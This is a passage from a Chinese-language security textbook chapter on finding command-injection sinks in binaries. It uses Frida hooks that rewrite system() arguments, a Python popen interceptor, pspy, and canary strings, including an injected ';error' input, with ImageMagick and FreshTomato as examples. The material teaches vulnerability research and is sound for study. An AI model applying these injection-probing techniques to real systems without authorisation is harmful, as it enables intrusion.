插入 onLeave 里,再次运行 frida-trace,就会看到正确打印了 system 的返回值:

$ frida-trace -i "system" ./hello-vuln
Instrumenting...
system: Loaded handler at "/home/kali/Desktop/hello-vuln/__handlers__/libc.so.6/system.js"
Enter your name: Started tracing 1 function. Press Ctrl+C to stop.
canary123
Hello, canary123
             /* TID 0xec246 */
    6455 ms  system(command="echo Hello, canary123")
    6458 ms  system returned 0x0

即使输入非法命令,日志也会打印出来:

$ frida-trace -i "system" ./hello-vuln
Instrumenting...
system: Loaded handler at "/home/kali/Desktop/hello-vuln/__handlers__/libc.so.6/system.js"
Enter your name: Started tracing 1 function. Press Ctrl+C to stop.
;error
Hello,
sh: 1: error: not found
             /* TID 0xec563 */
    11949 ms  system(command="echo Hello, ;error")
    11951 ms  system returned 0x7f00

目前看起来,功能和 ltrace 无太大差异。但 Frida 的杀手锏是动态插桩,允许你在运行时操纵内存。例如,修改 system 函数的参数(如下示例 5-4):

{
    onEnter(log, args, state) {
        log(`system(command="${args[0].readUtf8String()}")`);
     ➊ args[0].writeUtf8String('modified argument!');
        log(`system(command="${args[0].readUtf8String()}")`);
    },

    onLeave(log, retval, state) {
        log(`system returned ${retval}`);
    }
}

示例 5-4:修改后的钩子脚本

注意这里必须使用 Frida 的 JavaScript API 写内存 ➊,而不能直接赋字符串,因为数据类型不同(此处是指针)。

运行修改后的脚本:

$ frida-trace -i "system" ./hello-vuln
Instrumenting...
system: Loaded handler at "/home/kali/Desktop/hello-vuln/__handlers__/libc.so.6/system.js"
Enter your name: Started tracing 1 function. Press Ctrl+C to stop.
asd
sh: 1: modified: not found
             /* TID 0x13e92 */
    679 ms  system(command="echo Hello, asd") ➊
    679 ms  system(command="modified argument!") ➋
    680 ms  system returned 0x7f00

虽然标准输入正确传入 system 调用 ➊,但实际上执行的是你修改后的命令 ➋。这能力对逆向工程非常有用,比如通过修改返回值绕过校验函数,访问程序深层功能。移动应用分析中常用来绕过证书绑定或 Root 检测。

为了更有效使用 Frida,建议从 frida-trace 进阶,开始用 Frida API 编写更复杂脚本。例如,使用下面的 Python 脚本(示例 5-5)拦截 popen 调用:

# hook.py
import threading
from frida_tools.application import Reactor
import frida
import sys

SCRIPT = """
Interceptor.attach(Module.getExportByName(null, 'popen'), {
    onEnter: function (args) {
        send({
            function: 'popen',
            command: Memory.readUtf8String(args[0]),
        });
    }
});
"""

class Application:
    def __init__(self, argv, script):
        self._argv = argv
        self._script = script
        self._stop_requested = threading.Event()
        self._reactor = Reactor(
            run_until_return=lambda reactor: self._stop_requested.wait()
        )

    def run(self):
        self._reactor.schedule(lambda: self._start())
        self._reactor.run()

    def _start(self):
     ➊ pid = frida.spawn(self._argv)
     ➋ session = frida.attach(pid)
        session.on(
            "detached",
            lambda reason: self._reactor.schedule(
                lambda: self._on_detached(pid, session, reason)
            )
        )
     ➌ script = session.create_script(self._script)
        script.on("message", self._on_message)
        script.load()
        frida.resume(pid)

    def _on_message(self, message, data):
        print(message)

    def _stop_if_idle(self):
        self._stop_requested.set()

    def _on_detached(self, pid, session, reason):
        self._reactor.schedule(self._stop_if_idle, delay=0.5)

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: python hook.py <command>")
        exit(1)

    app = Application(sys.argv[1:], SCRIPT)
    app.run()

示例 5-5:用于拦截 popen 的脚本

该脚本使用 Frida Python 库启动目标程序 ➊,附加 Frida 进程 ➋,并注入 JavaScript 钩子脚本 ➌。虽然你也可以直接用命令行运行 JavaScript 脚本,但这种方法更具程序化和复用性。

你可以用下面命令测试该脚本:

$ python hook.py ./magick identify -define video:pixel-format='canary' example.mov
{'type': 'send', 'payload': {'function': 'popen', 'command': "'ffmpeg' -nostdin -loglevel error -i '/tmp/magick-tpq_LLF5K9ppQWPyQrtdqXJTjBrgdrRY' -an -f rawvideo -y  -pix_fmt canary -vcodec webp '/tmp/magick-pUw1gC4Rwp-8I07w6JbbAJiFkLvD7tv9'"}}
sh: 1: ffmpeg: not found
identify: UnableToOpenConfigureFile `delegates.xml' @ warning/configure.c/GetConfigureOptions/722.

这种方式跟踪函数调用更加简洁清晰。有了这个框架,你可以扩展脚本,实现自动钩取函数列表、跟踪子进程等功能。随着遇到更复杂的应用和环境,这种自动化对提升分析效率至关重要。

此外,Frida 还提供了 read–eval–print loop (REPL) 命令行界面,支持实时检查和拦截程序,类似传统调试器但拥有更强大的脚本引擎。建议花时间阅读官方文档 frida.re/docs ,探索如何将 Frida 功能应用于动态分析流程。

监控更高级别的事件

有时候,追踪函数调用或系统调用可能过于细粒,难以从海量数据中筛选出有价值的信息。复杂应用可能在几秒钟内产生成千上万个调用,过于严格的过滤反而可能遗漏重要信息。这种情况下,可以对程序应用更高层次的动态分析——观察程序在正常运行中产生的事件。

你可能想监控的事件类型包括:

  • 网络事件
    应用产生的网络流量。
  • 系统事件
    与文件 I/O、进程创建、网络连接等相关的事件。这与系统调用追踪有交集,但也包括操作系统层面的事件。典型工具如 Process Monitor(Procmon)、pspy。
  • 日志
    各种进程的调试和错误消息。例如 Windows 的事件查看器(Event Viewer)、Linux 的 journalctl、Android 的 Logcat 以及特定应用的日志文件。

举例来说,像 Dropbox 或 OneDrive 这样的云存储应用,会通过多种协议发起网络请求。与其监控打开网络套接字、发送数据包的底层调用,不如用 Wireshark 这类网络监控工具捕获程序运行时发出的网络包,从而观察最终结果,而不必费力从底层静态或动态分析中复原。

这些工具的共同点是通常依赖观察程序产生的“副作用”,而不是直接截获事件。比如,pspy 监控 Linux 下的 procfs 虚拟文件系统,该文件系统包含进程的关键信息,如命令行字符串、当前工作目录和环境变量。

你可以从 github.com/DominicBreu… 下载最新的 pspy 版本。在另一个终端窗口运行 pspy,等待几秒钟初始化。然后重新执行 ImageMagick 的 canary 命令。仔细检查 pspy 输出,应能找到与执行命令相关的日志行(可能需要多执行几次才能捕获):

2023/07/09 12:38:35 CMD: UID=1000  PID=1118155 | ./squashfs-root/usr/bin/magick identify -define video:pixel-format=canary123 example.mov
2023/07/09 12:38:35 CMD: UID=1000  PID=1118156 | sh -c 'ffmpeg' -nostdin ➊ -loglevel error -i '/tmp/magick-OToPOMUXkqamDmbLx8ovMEZzfV5TTbJy' -an -f rawvideo -y  -pix_fmt canary123 -vcodec webp '/tmp/magick-gd_VQDFJdEQIaGeUs2Dw2fKYVBfLnH3M'

pspy 工具准确捕获了 ImageMagick 执行的 shell 命令 ➊,无需直接对二进制插桩。这让你可以采用更轻量的方式,避免在追踪底层系统和库调用时常见的调试和过滤难题。

缺点是数据细节有所减少。例如,虽然仍能提取出创建进程的命令,但可能无法直接判定它是另一个进程的子进程,只能依靠进程创建时间和 PID 等上下文线索进行推断。

另外,并非所有来源的数据都可用。比如,如果网络流量被加密,直接截获的内容几乎无法解析,尽管某些工具可以通过将其证书颁发机构(CA)证书添加到系统或浏览器的信任列表中,解密 HTTPS 流量。部分应用的日志可能也经过加密,或采用专有格式存储,需要额外分析才能利用。

评估漏洞利用可能性

在识别出程序中的潜在源(source)和汇(sink)后,你需要确认是否存在一条可行且可利用的源到汇的路径。正如你在第一章学到的,程序中可能存在清理或验证代码,会阻止任何恶意负载到达汇点。然而,与源代码不同,由于信息不完整,在二进制中枚举攻击者控制输入经过的每一步通常很困难。

这就像是在浓密森林中观察鸟类。如果运气好,你能偶尔清楚地看到目标鸟飞过,但大多数时候它都会被枝叶遮挡。你可以辨别它大致的飞行方向,并较为准确地预测下一次出现的位置,但这永远不是百分百可靠。你必须依赖诸如翅膀扑动声或树叶沙沙声这类外部线索。类似地,有些信号能帮助你判断数据源头的内容最终在程序中流向何处。

分析错误信息

还记得你运行 ImageMagick 时,输出了 “sh: 1: ffmpeg: not found” 的错误吗?这是因为系统中尚未安装 ffmpeg。但这个简单的错误信息给了你两条重要信息:ImageMagick 执行了一个 shell 命令(错误信息中的 “sh” 指明了这一点),该命令试图运行 ffmpeg,且很可能包含了 ffmpeg 相关的命令行选项和参数。

这样的错误消息应该立即触发你头脑中的多个漏洞警报。断言失败和错误信息是重要的信息来源,因为它们表明程序运行时出了问题。此外,借助堆栈跟踪或错误消息中的其他字符串,这些错误信息还能告诉你错误发生的位置。例如,错误信息中 “sh: 1: ffmpeg: not found” 的 “1:” 表明该命令是传递给 sh 执行的第一条命令。

以 libMagickCore-7.Q16HDRI.so.10.0.1 库中的 popen 调用为例,在 Ghidra CodeBrowser 里,你可以找到如下伪代码,在 shell 命令失败时抛出异常:

if ((param_4 == (char *)0x0) || (*param_4 == '\0')) {
    ThrowMagickException(
        param_5,
        "MagickCore/delegate.c",
        "ExternalDelegateCommand",
        0x208,
        0x19f,
        "FailedToExecuteCommand",
        "`%s' (%d)",
        local_1040,
        local_106c
    );
}

自定义的 ThrowMagickException 函数接受的参数能精确告诉你异常在原始源码中的位置及原始函数名。这类错误消息模式相当常见,能为你揭示函数的实际用途和工作机制。

断言和错误信息还能揭示程序中有哪些验证检查及其位置。静态分析时,分析这些位置对于验证验证的完整性和识别潜在绕过点非常关键。同时,你也要确认其他相关位置是否正确应用了这些验证。

使用标记字符串(Canary Strings)

正如在 ImageMagick 示例中看到的,标记字符串能帮助你确认潜在攻击者控制的输入流向可能的汇点。确定这些汇点并用动态分析拦截后,你可以通过提交各种控制字符或注入负载进行灰盒测试,观察输入如何流入汇点。这有助于发现任何存在的过滤或验证机制。

直接测试负载可能比手工分析清理代码更高效。例如,回到 ImageMagick 的 ExternalDelegateCommand 函数,你可以看到 shell 命令会先经过下面的清理函数:

char * SanitizeString(undefined8 param_1)
{
    char *__s;
    size_t sVar1;
    size_t sVar2;
    char *local_20;

    __s = (char *)AcquireString(param_1);
    sVar1 = strlen(__s);
    sVar2 = strspn(__s, allowedCharacters); ➊
    for (local_20 = __s + sVar2; local_20 != __s + sVar1; local_20 = local_20 + sVar2) {
        *local_20 = '_'; ➋
        sVar2 = strspn(local_20, allowedCharacters);
    }
    return __s;
}

该函数会将任何不在允许字符列表中的字符(该列表极其宽松,包含所有可打印 ASCII 字符)替换成下划线。尽管这是一种相当简单的清理方式,但若清理逻辑复杂或难以通过静态手段逆向,结合标记字符串的动态方法就足以判断该路径是否可行。

标记字符串在分析日志数据时也很有用。例如,FreshTomato 的 httpd 程序用 syslog 记录执行的 shell 命令:

snprintf(acStack_360, 0x200, "openssl x509 -in /tmp/openssl/%s.crt -inform PEM -out /tmp/openssl/%s.crt -outform PEM >>/tmp/openssl/openssl.log 2>&1", param_1, param_1);
syslog(4, acStack_360);
system(acStack_360);

将日志消息中的固定字符串与二进制中的日志函数调用匹配,可以将静态和动态分析结合起来,聚焦程序实际使用攻击者控制输入的地方。

检查进程间通信(IPC)遗留物

程序产生的副作用可能生成进程间通信的遗留物,如文件、注册表项、命名管道等。与其费力逆向程序确认其进程间通信是否安全实现,不如直接检查这些遗留物。例如,你可以检查文件或命名管道的权限,评估其潜在利用风险。如果文件被创建在任何用户可写的目录,则容易受到符号链接攻击。

一个有用的工具是 James Forshaw 的 OleViewDotNet(github.com/tyranid/ole…),它可以枚举 Windows 上程序创建的组件对象模型(COM)对象,用于进程间通信。通过分析这些对象属性并直接操控它们,可以深入理解暴露这些对象的程序。

这些遗留物的创建和访问方式(如使用相对路径或绝对路径)也可能揭示额外攻击路径。在这种情况下,Procmon 等事件日志有助于发现由于路径不存在等原因导致的文件访问失败,而这些路径值可能被攻击者控制。

总结

本章中,你使用了多种静态和动态分析工具,对 Fresh-Tomato 和 ImageMagick 进行了漏洞源和汇的识别。你调查了库调用和系统调用,找出攻击者可控输入的潜在注入点,最终成功利用了这些漏洞。

最终目标与代码审计相同,只是使用了不同的策略和工具:识别从源头到汇点的可利用路径。如果某个危险汇点的包装函数看似对输入进行了适当的清理和验证,应寻找绕过该包装函数直接调用汇点的情况。如果攻击负载从源头看似未能到达汇点,可以沿途设置断点,识别潜在障碍并评估是否能够绕过。没人愿意花上数日去逆向一个安全性极高的加密库,因此限制搜索范围、及时放弃无可行路径的目标非常重要。

静态分析和动态分析在逆向工程中各有其作用。静态分析通常耗时较长,但能更全面地理解程序在特定输入下的预期行为;动态分析则提供程序实际运行时的快照,但其有效性取决于你能否触及并捕获真正感兴趣的行为。

本章中,你分别应用了静态和动态分析。接下来,我们将探讨如何同时结合两者使用。